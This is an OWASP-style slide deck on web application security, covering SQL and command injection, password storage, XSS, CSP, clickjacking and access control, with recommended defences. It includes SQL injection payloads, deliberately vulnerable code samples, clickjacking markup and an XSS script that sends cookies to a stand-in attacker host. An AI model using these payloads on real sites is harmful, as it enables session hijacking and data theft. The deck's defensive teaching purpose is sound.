Jim Manico

OWASP Global Board Member

OWASP Podcast and Cheat-Sheet Lead

VP Security Architecture, WhiteHat Security

Thank you to Eoin Keary, coauthor
“(Cyber crime is the) second cause of economic crime experienced by the financial services sector” – PwC

Globally, every second, 18 adults become victims of cybercrime - Symantec

2012 Cyber Crime
- US $20.7 billion in direct losses
- Global $110 billion in direct losses
- Global $338 billion + downtime

“556 million adults across the world have first-hand experience of cybercrime -- more than the entire population of the European Union.”

Almost 1 trillion USD was spent in 2012 protecting against cybercrime

“One hundred BILLION dollars” - Dr Evil

“Jimmy, I didn’t click it” – My Grandma
Problem # 1

Asymmetric Arms Race
Two weeks of ethical hacking

Ten man-years of development

An inconvenient truth

- Business Logic Flaws
- Security Errors
- Code Flaws
An Attacker has 24x7x365 to Attack

Attacker Schedule

Scheduled Pen-Test

Time

The Defender has 20 man days per year to detect and defend

Who has the edge?
Problem # 2

You are what you eat
Software food chain

You may not let some of the people who have developed your code into your offices!!
2012 Study of 31 popular open source libraries

19.8 million (26%) of the library downloads have known vulnerabilities

Today's applications may use up to 30 or more libraries or 80% of the total codebase
Spring application development framework: Downloaded 18 million times by over 43,000 organizations in the last year – Vulnerability: Information leakage CVE-2011-2730
http://support.springsource.com/security/cve-2011-2730

In Apache CXF application framework:
4.2 million downloads.
- Vulnerability: Auth bypass CVE-2010-2076 & CVE 2012-0803
http://cxf.apache.org/cve-2012-0803.html
Do we test for "dependency" issues?

NO

Does your patch management policy cover application dependencies?

Check out: https://github.com/jeremylong/DependencyCheck
Problem # 3

Bite off more than we can chew
1  CISO
10  Business Units
30  Security Staff
200  Web Applications
1000  Web Servers
2000  Data bases
100,000  Client records
1000000  Potential hackers, Worms, Trojans (and infected users)
Security activities for 1000 Web Apps

• 1000+ Annual Penetration Tests
• 100’s of Different Penetration Testers?
• 1000+ Reports

How do we consume this data?
Problem # 4

Developer Information Flooding
There’s Compliance....

EU directive:


*Article 23, 24 & 79, - Administrative sanctions*

“The supervisory authority shall impose a fine up to 250,000 EUR, or in case of an enterprise up to 0.5% of its annual worldwide turnover, to anyone who, intentionally or negligently does not protect personal data”
Two arrested in Kinder Egg bust

Two US men were seized and held in a detention centre after being caught at the US border with six Kinder Eggs.

Brandon Loi and Christopher Sweeney from Seattle, were unaware that the chocolate eggs – which contain a children’s toy inside them – are illegal in the US because of the “non-nutritive object”.

The pair were stopped by officials at the border on their way back from a trip to Canada, where they purchased the eggs.

Christopher explained: “[The official] said, ’Are you aware Kinder Eggs are illegal in the United States and carry a $2,500 fine per egg? And I actually laughed.”
So….

- What are we protecting against?
- A penetration test alone is a loosing battle
- Which security bugs do we spend time fixing first?
- Explain security issues to developers in “Dev-speak”
- Start early (design securely)

Lets Dig a Little Deeper……..
## GET vs POST HTTP Request

<table>
<thead>
<tr>
<th>GET request</th>
<th>POST request</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>GET</strong> /search.jsp?name=blah&amp;type=1 HTTP/1.0</td>
<td><strong>POST</strong> /search.jsp HTTP/1.0</td>
</tr>
<tr>
<td>User-Agent: Mozilla/4.0</td>
<td>User-Agent: Mozilla/4.0</td>
</tr>
<tr>
<td>Host: <a href="http://www.mywebsite.com">www.mywebsite.com</a></td>
<td>Host: <a href="http://www.mywebsite.com">www.mywebsite.com</a></td>
</tr>
<tr>
<td>Referrer: <a href="http://www.jimsamps.com/login?user=jim&amp;pass=w0rDup">www.jimsamps.com/login?user=jim&amp;pass=w0rDup</a></td>
<td>Content-Length: 16</td>
</tr>
<tr>
<td>Cookie: SESSIONID=2KDSU72H9GSA289</td>
<td>Cookie: SESSIONID=2KDSU72H9GSA289</td>
</tr>
<tr>
<td>&lt;CRLF&gt;</td>
<td>&lt;CRLF&gt;</td>
</tr>
<tr>
<td>name=blah&amp;type=1</td>
<td>name=blah&amp;type=1</td>
</tr>
<tr>
<td>&lt;CRLF&gt;</td>
<td>&lt;CRLF&gt;</td>
</tr>
</tbody>
</table>
Injection Flaws
Anatomy of a SQL Injection Attack

$NEW_EMAIL = Request[‘new_email’];
$USER_ID = Request[‘user_id’];

update users set email='"$NEW_EMAIL"'
where id=$USER_ID;
Anatomy of a SQL Injection Attack

```php
$NEW_EMAIL = Request['new_email'];
$USER_ID = Request['user_id'];

update users set email='$NEW_EMAIL'
where id=$USER_ID;

SUPER AWESOME HACK: $NEW_EMAIL = ';
```

```sql
update users set email='';
```
Anatomy of a SQL Injection Attack

sql = "SELECT * FROM user_table WHERE username = '" & Request("username") & ' ' AND password = '" & Request("password") & ' '"

(This is DYNAMIC SQL and Untrusted Input)

What the developer did not intend is parameter values like:

username = john
password = \texttt{blah' or '1'=1}

SQL Query:
SELECT * FROM user_table WHERE username = 'john' AND password = '\texttt{blah' or '1'=1}'

\texttt{or'1'=1} causes all rows in the users table to be returned!
Anatomy of a SQL Injection Attack

public void bad(HttpServletRequest request, HttpServletResponse response) throws Throwable {
    String data;

    Logger log_bad = Logger.getLogger("local-logger");

    /* read parameter from request */
    data = request.getParameter("name");

    Logger log2 = Logger.getLogger("local-logger");

    Connection conn_tmp2 = null;
    Statement sqlstatement = null;
    ResultSet sqlrs = null;

    try {
        conn_tmp2 = IO.getDBConnection();
        sqlstatement = conn_tmp2.createStatement();

        /* take user input and place into dynamic sql query */
        sqlrs = sqlstatement.executeQuery("select * from users where name='"+data+'"');

        IO.writeString(sqlrs.toString());
    }
    catch(SQLException se) {
    }
    catch(SQLException se) {
    }
}
String building can be done when calling stored procedures as well

```java
sql = "GetCustInfo @LastName=" + request.getParameter("LastName");
```

**Stored Procedure Code**

```sql
CREATE PROCEDURE GetCustInfo (@LastName VARCHAR(100))
AS
exec('SELECT * FROM CUSTOMER WHERE LNAME=''' + @LastName + '''')
GO
```

(Wrapped Dynamic SQL)

What’s the issue here............

- If `blah' OR '1'='1` is passed in as the LastName value, the entire table will be returned

Remember Stored procedures need to be implemented safely. 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation.
SQL Injection Attack Techniques

Boolean based blind SQL injection
par=1 AND ORD(MID((SQL query), Nth char, 1)) > Bisection num—

UNION query (inband) SQL injection
par=1 UNION ALL SELECT query—

Batched queries SQL injection
par=1; SQL query;--
Query Parameterization (PHP)

$stmt = $dbh->prepare("update users set email=:new_email where id=:user_id");

$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
SqlConnection objConnection = new SqlConnection(_ConnectionString);
objConnection.Open();
SqlCommand objCommand = new SqlCommand("SELECT * FROM User WHERE Name = @Name AND Password = @Password", objConnection);
objCommand.Parameters.Add("@Name", NameTextBox.Text);
objCommand.Parameters.Add("@Password", PassTextBox.Text);
SqlDataReader objReader = objCommand.ExecuteReader();
Query Parameterization (Java)

String newName = request.getParameter("newName") ;
String id = request.getParameter("id") ;

//SQL
PreparedStatement pstmt = con.prepareStatement("UPDATE
    EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);

//HQL
Query safeHQLQuery = session.createQuery("from
    Employees where id=:empId");
safeHQLQuery.setParameter("empId", id);
Query Parameterization Failure (Ruby on Rails)

# Create
Project.create!(:name => 'owasp')

# Read
Project.all(:conditions => "name = ?", name)
Project.all(:conditions => { :name => name })
Project.where("name = :name", :name => name)
Project.where(:id=> params[:id]).all

# Update
project.update_attributes(:name => 'owasp')
Query Parameterization (Cold Fusion)

```cfc
cfquery name="getFirst" dataSource="cfsnippets">
    SELECT * FROM #strDatabasePrefix##_courses
    WHERE intCourseID = <cfqueryparam value=#intCourseID# CFSQLType="CF_SQL_INTEGER">
</cfquery>
```
my $sql = "INSERT INTO foo (bar, baz) VALUES ( ?, ? )";
my $sth = $dbh->prepare( $sql );
$sth->execute( $bar, $baz );
Automatic Query Parameterization (.NET linq4sql)

```csharp
public bool login(string loginId, string shrPass) {
    DataClassesDataContext db = new DataClassesDataContext();

    var validUsers = from user in db.USER_PROFILE
                     where user.LOGIN_ID == loginId
                     && user.PASSWORDH == shrPass
                     select user;

    if (validUsers.Count() > 0) return true;
    return false;
}
```
public void doGet(HttpServletRequest req, HttpServletResponse res) {
    String name = req.getParameter("username");
    String pwd = req.getParameter("password");
    int id = validateUser(name, pwd);
    String retstr = "User : " + name + " has ID: " + id;
    res.getOutputStream().write(retstr.getBytes());
}

private int validateUser(String user, String pwd) throws Exception {
    Statement stmt = myConnection.createStatement();
    ResultSet rs;
    rs = stmt.executeQuery("select id from users where user=\"" + user + \"" and key=\"" + pwd + \"\"");
    return rs.next() ? rs.getInt(1) : -1;
}
Command Injection

Web applications may use input parameters as arguments for OS scripts or executables.

Almost every application platform provides a mechanism to execute local operating system commands from application code.

- Perl: system(), exec(), backquotes(``)
- C/C++: system(), popen(), backquotes(``)
- ASP: wscript.shell
- Java: getRuntime.exec
- MS-SQL Server: master..xp_cmdshell
- PHP: include() require(), eval(), shell_exec

Most operating systems support multiple commands to be executed from the same command line. Multiple commands are typically separated with the pipe `|` or ampersand `&` characters.
Where can I learn more?

<table>
<thead>
<tr>
<th>Injection Type</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>Command Injection</td>
<td><a href="https://www.owasp.org/index.php/Command_Injection">https://www.owasp.org/index.php/Command_Injection</a></td>
</tr>
</tbody>
</table>
Secure Password Storage

- Verify Only
- Add Entropy
- Slow Down
http://www.md5decrypter.co.uk

md5("password123!") = b7e283a09511d95d6eac86e39e7942c0
md5("86e39e7942c0 password123!") = f3acf5189414860a9041a5e9ec1079ab
public String hash(String password, String userSalt, int iterations) 
    throws EncryptionException {

    byte[] bytes = null;
    try {
        MessageDigest digest = MessageDigest.getInstance(hashAlgorithm);
        digest.reset();
        digest.update(ESAPI.securityConfiguration().getMasterSalt());
        digest.update(userSalt.getBytes(encoding));
        digest.update(password.getBytes(encoding));

        // rehash a number of times to help strengthen weak passwords
        bytes = digest.digest();
        for (int i = 0; i < iterations; i++) {
            digest.reset();
            bytes = digest.digest(salts + bytes + hash(i));
        }
        String encoded = ESAPI.encoder().encodeForBase64(bytes, false);
        return encoded;
    } catch (Exception ex) {
        throw new EncryptionException("Internal error", "Error");
    }
}
Standardized Algorithms for Password Storage

B/S Crypt

- Adaptive Hash
- Very Slow (work factor)
- Blowfish Derived
- Single Use Salt

Why scrypt over bcrypt?

- Much more secure than bcrypt
- Designed to defend against large scale hardware attacks
- There is a scrypt library for most major scripting languages (Python, Ruby etc)
- CAUTION: Scalability Problems
Forgot Password Secure Design

- Require identity and security questions
  - Last name, account number, email, DOB
  - Enforce lockout policy
  - Ask one or more good security questions
- Send the user a randomly generated token via out-of-band method
  - email, SMS or token
- Verify code in same Web session
  - Enforce lockout policy
- Change password
  - Enforce password policy
MFA FTW

• Passwords as a single authentication credential are DEAD even for consumer services.
• Mobile devices as a “what you have” factor
• SMS and Native Mobile Apps for MFA
  » not perfect but heavily reduce risk vs. passwords only
• Password strength and password policy less important

• You protect your magic user and fireball wand with MFA
• Protect your multi-billion dollar enterprise with MFA
Cross Site Scripting

JavaScript Injection
&lt;
**Safe ways to represent dangerous characters in a web page**

<table>
<thead>
<tr>
<th>Characters</th>
<th>Decimal</th>
<th>Hexadecimal</th>
<th>HTML Entity</th>
<th>Unicode</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot; (double quotation marks)</td>
<td>&quot;</td>
<td>&quot;</td>
<td>&quot;</td>
<td>\u0022</td>
</tr>
<tr>
<td>' (single quotation mark)</td>
<td>'</td>
<td>'</td>
<td>'</td>
<td>\u0027</td>
</tr>
<tr>
<td>&amp; (ampersand)</td>
<td>&amp;</td>
<td>&amp;</td>
<td>&amp;</td>
<td>\u0026</td>
</tr>
<tr>
<td>&lt; (less than)</td>
<td>&lt;</td>
<td>&lt;</td>
<td>&lt;</td>
<td>\u003C</td>
</tr>
<tr>
<td>&gt; (greater than)</td>
<td>&gt;</td>
<td>&gt;</td>
<td>&gt;</td>
<td>\u003E</td>
</tr>
</tbody>
</table>
XSS Attack Payloads

- Session Hijacking
- Site Defacement
- Network Scanning
- Undermining CSRF Defenses
- Site Redirection/Phishing
- Load of Remotely Hosted Scripts
- Data Theft
- Keystroke Logging
- Attackers using XSS more frequently
Anatomy of a XSS Attack (bad stuff)

<script>window.location='https://evileviljim.com/unc/data=' + document.cookie;</script>

<script>document.body.innerHTML='&lt;blink&gt;EOIN IS COOL&lt;/blink&gt;';</script>
XSS Defense by Data Type and Context

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>String</td>
<td>HTML Body</td>
<td>HTML Entity Encode</td>
</tr>
<tr>
<td>String</td>
<td>HTML Attribute</td>
<td>Minimal Attribute Encoding</td>
</tr>
<tr>
<td>String</td>
<td>GET Parameter</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>String</td>
<td>Untrusted URL</td>
<td>URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification</td>
</tr>
<tr>
<td>String</td>
<td>CSS</td>
<td>Strict structural validation, CSS Hex encoding, good design</td>
</tr>
<tr>
<td>HTML</td>
<td>HTML Body</td>
<td>HTML Validation (JSoup, AntiSamy, HTML Sanitizer)</td>
</tr>
<tr>
<td>Any</td>
<td>DOM</td>
<td>DOM XSS Cheat Sheet</td>
</tr>
<tr>
<td>Untrusted JavaScript</td>
<td>Any</td>
<td>Sandboxing</td>
</tr>
<tr>
<td>JSON</td>
<td>Client Parse Time</td>
<td>JSON.parse() or json2.js</td>
</tr>
</tbody>
</table>

Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
HTML Body Context

<span>UNTRUSTED DATA</span>

attack

<script>/* bad stuff */</script>
HTML Attribute Context

<input type="text" name="fname" value="UNTRUSTED DATA">

attack: ""<script>/* bad stuff */</script>""
HTTP GET Parameter Context

\[\text{attack: " onclick=" /* bad stuff */"} \]
URL Context

<a href="UNTRUSTED URL">clickme</a>

<iframe src="UNTRUSTED URL" />

attack: javascript:/* BAD STUFF */
CSS Value Context

<div style="width: UNTRUSTED DATA;">Selection</div>

attack: expression(/* BAD STUFF */)
JavaScript Variable Context

<script>var currentValue='UNTRUSTED DATA';</script>

<script>someFunction('UNTRUSTED DATA');</script>

attack: ');}/* BAD STUFF */
JSON Parsing Context

JSON.parse(UNTRUSTED JSON DATA)
Solving Real World XSS Problems in Java with OWASP Libraries
• No third party libraries or configuration necessary.
• This code was designed for high-availability/high-performance encoding functionality.
• Simple drop-in encoding functionality
• Redesigned for performance
• More complete API (uri and uri component encoding, etc) in some regards.
• This is a Java 1.5 project.
• Will be the default encoder in the next revision of ESAPI.
• Last updated February 14, 2013 (version 1.1)
The Problem

Web Page built in Java JSP is vulnerable to XSS

The Solution

```html
<input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>">

<textarea name="text"><%= Encode.forHtmlContent(textValue) %></textarea>

<button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');">click me</button>

<script type="text/javascript">
var msg = "<%= Encode.forJavaScriptBlock(message) %>
alert(msg);
</script>

OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_ENCODER_Project
HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.

This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review [https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules](https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules)

Very easy to use.

It allows for simple programmatic POSITIVE policy configuration (see below). No XML config.

Actively maintained by Mike Samuel from Google's AppSec team!

This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
This example displays all plugins and buttons that comes with the TinyMCE package.

Welcome to the TinyMCE editor demo!

Feel free to try out the different features that are provided, please note that the MCIImageManager and MCFileManager specific functionality is part of our commercial offering. The demo is to show the integration.

We really recommend Firefox as the primary browser for the best editing experience, but of course, TinyMCE is compatible with all major browsers.

Got questions or need help?

If you have questions or need help, feel free to visit our community forum! We also offer Enterprise support solutions. Also do not miss out on the documentation, it’s a great resource wiki for understanding how TinyMCE works and integrates.

Source output from post

<table>
<thead>
<tr>
<th>Element</th>
<th>HTML</th>
</tr>
</thead>
<tbody>
<tr>
<td>content</td>
<td><code>&lt;h1&gt;&lt;img style=&quot;float: right;&quot; title=&quot;TinyMCE Logo&quot; src=&quot;/tlogo.png&quot; alt=&quot;TinyMCE Logo&quot; width=&quot;92&quot; height=&quot;80&quot; /&gt;Welcome to the TinyMCE editor demo!&lt;/h1&gt;</code>&lt;p&gt;Feel free to try out the different features that are provided, please note that the MCIImageManager and MCFileManager specific functionality is part of our commercial offering. The demo is to show the integration.&lt;/p&gt;&lt;p&gt;We really recommend &lt;a href=&quot;http://www.getfirefox.com&quot; target=&quot;_blank&quot;&gt;Firefox&lt;/a&gt; as the primary browser for the best editing experience, but of course, TinyMCE is compatible with all major browsers.&lt;/a&gt;&lt;/p&gt;</td>
</tr>
</tbody>
</table>

<h2>Got questions or need help?</h2>

If you have questions or need help, feel free to visit our <a href="/forum/index.php">community forum</a>! We also offer Enterprise <a href="/enterprise/support.php">support</a> solutions. Also do not miss out on the <a href="/wiki.php/documentation</a>, it’s a great resource wiki for understanding how TinyMCE works and integrates.

<h2>Found a bug?</h2>

If you think you have found a bug, you can use the <a href="/develop/bugtracker.php">Tracker</a> to report bugs to the developers.

And here is a simple table for you to play with:
Solving Real World Problems with the OWASP HTML Sanitizer Project

The Problem

Web Page is vulnerable to XSS because of untrusted HTML

The Solution

```java
PolicyFactory policy = new HtmlPolicyBuilder()
  .allowElements("a")
  .allowUrlProtocols("https")
  .allowAttributes("href").onElements("a")
  .requireRelNofollowOnLinks()
  .build();
String safeHTML = policy.sanitize(untrustedHTML);
```
OWASP JSON Sanitizer Project
https://www.owasp.org/index.php/OWASP_JSON_Sanitizer

• Given JSON-like content, converts it to valid JSON.
• This can be attached at either end of a data-pipeline to help satisfy Postel's principle: Be conservative in what you do, be liberal in what you accept from others.
• Applied to JSON-like content from others, it will produce well-formed JSON that should satisfy any parser you use.
• Applied to your output before you send, it will coerce minor mistakes in encoding and make it easier to embed your JSON in HTML and XML.
Solving Real World Problems with the OWASP JSON Sanitizer Project

The Problem

Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly

The Solution

JSON Sanitizer can help with two use cases.

1) Sanitizing untrusted JSON on the server that is submitted from the browser in standard AJAX communication

2) Sanitizing potentially untrusted JSON server-side before sending it to the browser. The output is a valid Javascript expression, so can be parsed by Javascript's eval or by JSON.parse.
• SAFE use of JQuery
  • `$('#element').text('UNTRUSTED DATA');`

• UNSAFE use of JQuery
  • `$('#element').html('UNTRUSTED DATA');`
### Dangerous jQuery 1.7.2 Data Types

<table>
<thead>
<tr>
<th>CSS</th>
<th>Some Attribute Settings</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML</td>
<td>URL (Potential Redirect)</td>
</tr>
</tbody>
</table>

#### jQuery methods that directly update DOM or can execute JavaScript

- `$( )` or `jQuery()`
- `.attr()`
- `.add()`
- `.css()`
- `.after()`
- `.html()`
- `.animate()`
- `.insertAfter()`
- `.append()`
- `.insertBefore()`
- `.appendTo()`

#### jQuery methods that accept URLs to potentially unsafe content

- `jQuery.ajax()`
- `jQuery.post()`
- `jQuery.get()`
- `load()`
- `jQuery.getScript()`
Content Security Policy

• Anti-XSS W3C standard
• Content Security Policy *latest release version*
• http://www.w3.org/TR/CSP/
• Must move all inline script and style into external scripts
• Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use
  - *Firefox/IE10PR: X-Content-Security-Policy*
  - *Chrome Experimental: X-WebKit-CSP*
  - *Content-Security-Policy-Report-Only*
• Define a policy for the site regarding loading of content
Get rid of XSS, eh?

A script-src directive that doesn’t contain unsafe-inline eliminates a huge class of cross site scripting

I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
Real world CSP in action

strict-transport-security: max-age=631138519
version: HTTP/1.1
x-frame-options: SAMEORIGIN
x-gitsha: d814fdf74482e7b82c1d9f0344a59dd1d6a700a6
x-rack-cache: miss
x-request-id: 746d48ca76dc0766ac24e74fa905be11
x-runtime: 0.023473
x-ua-compatible: IE=Edge,chrome=1
What does this report look like?

```json
{
  "csp-report" => {
    "document-uri" => "http://localhost:3000/home",
    "referrer" => "",
    "blocked-uri" => "ws://localhost:35729/livereload",
    "violated-directive" => "xhr-src ws://localhost.twitter.com:*"
  }
}
```
What does this report look like?

```json
{
  "csp-report" => {
    "document-uri" => "http://example.com/welcome",
    "referrer" => "",
    "blocked-uri" => "self",
    "violated-directive" => "inline script base restriction",
    "source-file" => "http://example.com/welcome",
    "script-sample" => "alert(1)",
    "line-number" => 81
  }
}
```
Clickjacking
First, make a tempting site
<iframe src="http://mail.google.com">
iframe is invisible, but still clickable!
<style>
iframe {
    width:300px;
    height:100px;
    position:absolute;
    top:0; left:0;
    filter:alpha(opacity=00);
    opacity:0.0;
}
</style>

<iframe src="https://mail.google.com">
X-Frame-Options
HTTP Response Header

// to prevent all framing of this content
response.addHeader( "X-FRAME-OPTIONS", "DENY" );

// to allow framing of this content only by this site
response.addHeader( "X-FRAME-OPTIONS", "SAMEORIGIN" );

// to allow framing from a specific domain
response.addHeader( "X-FRAME-OPTIONS", "ALLOW-FROM X" );
Encryption in Transit HTTPS/TLS

- Sensitive data must be encrypted in transit via HTTPS/SSL
  - Starting when the login form is rendered
  - Until logout is complete
  - Confidentiality, Integrity and Authenticity


- HSTS (Strict Transport Security) can help here

- Certificate Pinning can help here
Web Application Access Control Design
Access Control Anti-Patterns

- Hard-coded role checks in application code
- Lack of centralized access control logic
- Untrusted data driving access control decisions
- Access control that is “open by default”
- Lack of addressing horizontal access control in a standardized way (if at all)
- Access control logic that needs to be manually added to every endpoint in code
- Access Control that is “sticky” per session
- Access Control that requires per-user policy
Hard-Coded Roles

```java
if (((user.isManager() ||
    user.isAdministrator()) ||
    user.isEditor()) &&
    user.id() != 1132))
{
    //execute action
}
```
Hard-Coded Roles or Policy

- Makes “proving” the policy of an application difficult for audit or Q/A purposes
- Any time access control policy needs to change, new code need to be pushed
- RBAC is often not granular enough
- Fragile, easy to make mistakes
Best Practice: Code to the Activity

```java
if (AC.hasAccess("article:edit:12")) {
    //execute activity
}
```

- Code it once, never needs to change again
- Implies policy is centralized in some way
- Implies policy is persisted in some way
- Requires more design/work up front to get right
SQL Integrated Access Control

Example Feature

http://mail.example.com/viewMessage?
msgid=2356342

This SQL would be vulnerable to tampering

select * from messages where messageid = 2356342

Ensure the owner is referenced in the query!

select * from messages where messageid = 2356342 AND messages.message_owner = <userid_from_session>
Data Contextual Access Control

Data Contextual / Horizontal Access Control API examples:
ACLService.isAuthorized("car:view:321")
ACLService/assertAuthorized("car:edit:321")

Long form:
Is Authorized(user, Perm.EDIT_CAR, Car.class, 14)

Check if the user has the right role in the context of a specific object Protecting data at the lowest level!
Apache SHIRO  
http://shiro.apache.org/

• Apache Shiro is a powerful and easy to use Java security framework.
• Offers developers an intuitive yet comprehensive solution to **authentication, authorization**, cryptography, and session management.
• Built on sound interface-driven design and OO principles.
• Enables custom behavior.
• Sensible and secure defaults for everything.
Solving Real World Access Control Problems with the Apache Shiro

The Problem

Web Application needs secure access control mechanism

The Solution

```java
if ( currentUser.isPermitted( "lightsaber:weild" ) ) {
    log.info("You may use a lightsaber ring. Use it wisely.");
} else {
    log.info("Sorry, lightsaber rings are for schwartz masters only.");
}
```
Solving Real World Access Control Problems with the Apache Shiro

The Problem
Web Application needs to secure access to a specific object

The Solution

```java
if ( currentUser.isPermitted( "winnebago:drive:eagle5" ) ) {
    log.info("You are permitted to 'drive' the 'winnebago' with license plate (id) 'eagle5'. Here are the keys - have fun!");
} else {
    log.info("Sorry, you aren't allowed to drive the 'eagle5' winnebago!");
}
```
Risk = Threat \times Vulnerability \times Cost

Iterative approach

Security requirements
Design
Test plans
Field feedback

Requirements and use cases
Design
Test plans

Code

Code review tools

Risk analysis
Risk-based security tests
Penetration testing
Thank YOU!

jim@owasp.org